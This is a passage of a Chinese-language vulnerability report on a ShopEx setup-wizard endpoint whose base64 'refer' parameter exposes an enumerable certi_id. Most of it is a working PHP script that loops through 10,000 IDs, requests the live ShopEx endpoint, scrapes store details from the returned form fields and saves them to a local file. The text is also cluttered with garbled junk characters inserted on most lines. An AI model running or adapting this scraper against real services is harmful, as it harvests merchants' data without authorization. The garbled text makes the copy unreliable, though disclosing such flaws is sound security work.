ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
' A4 z2 C! z% e3 |) V2 CShopEx某接口缺陷,可遍历所有网站
& ^1 u$ U# P; ?" G6 I详细说明：
+ O: _$ S" O4 b! j+ r+ |问题出现在shopex 网店使用向导页面

3 ^8 D! J- s5 a: l; q
  i" B' v, p& p) [6 u& M" P. k
& V9 F/ N3 M0 m( [% t+ zhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
( Z$ A+ v3 V4 X6 ?4 c# L- G: w% M

2 O1 C8 z5 @* J/ X2 |/ \" ^
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

, L1 }8 a% P" u, ?  J& I2 M

3 b7 j3 |. R# }" C$ C3 L* z6 v7 W我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
" T# C, @" n; B7 g8 l
- c9 |% @/ x" e/ E( ]* u) m

<?php

* x8 W$ K! ~5 q3 |. l6 v                for ($i=1; $i < 10000; $i++) { //遍历
( ^& n2 a' W5 ^+ H6 ?( h
                        ShowshopExD($i);
  Q: g+ L2 {; a$ m+ u% a% o+ r9 |) r
                }

; q* g* @/ J( K; l# E3 D4 k2 g' g                function ShowshopExD($cid) {
4 l) l9 f# i3 s) o5 {$ {* \3 P
                $url='http://guide.ecos.shopex.cn/step2.php';
# w, Q/ V! }1 y4 q
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
4 x" H3 X# |& t  Z8 ^
& ~7 ^9 i8 n; O  ]5 j3 k; A  {        $url = $url.'?refer='.$refer;

' O8 y$ z0 |. G0 h( H        $ch = curl_init($url);
+ y  G) ~& z1 \# h' U/ Z0 g
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( Y/ k: i8 ^  G. C
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
. o& O+ ?. V$ W& \
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
% r( |4 Z7 {, b3 \+ Y  A
        if(strpos($result,$refer))
$ {: B8 d& M) N" B6 P; S
+ L3 ]# ?3 I! X        {
" A$ L: {, x" E4 E
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( @! W1 R9 K5 v4 e' p$ J5 N
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
% k* U9 y* W9 M# G' E
( D. n7 f3 F; z2 a/ l                foreach ($value[1] as $key) {
0 c' l1 m, e8 t) d+ ]
9 t1 _  U0 G& @9 z: J/ Y* v                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
8 ?6 W) J- d2 h! E
1 n# M; V; ?! e" @                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
. ]) h" S7 o& `9 J9 w! _+ p) I
                }
4 P5 ^( j7 F" Q2 d! F" ~
                echo '--------------------------------'."\r\n";

' m) O  @+ x/ Q, i/ V                fclose($fp);

1 D, ]2 h, W& B- T0 ^6 q( p: |        }
; q: P: S3 S2 U
        flush();

& y1 c6 @" D; @' X) a  E        curl_close($ch);

                }
" M. p/ L+ G0 {7 U0 X* L
0 u! I: ^$ O  A5 k9 S7 |1 U3 \?>
漏洞证明：
: H0 T- H0 `# K" e6 w, O3 T3 Nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
0 s" s/ }8 f0 z2 C/ R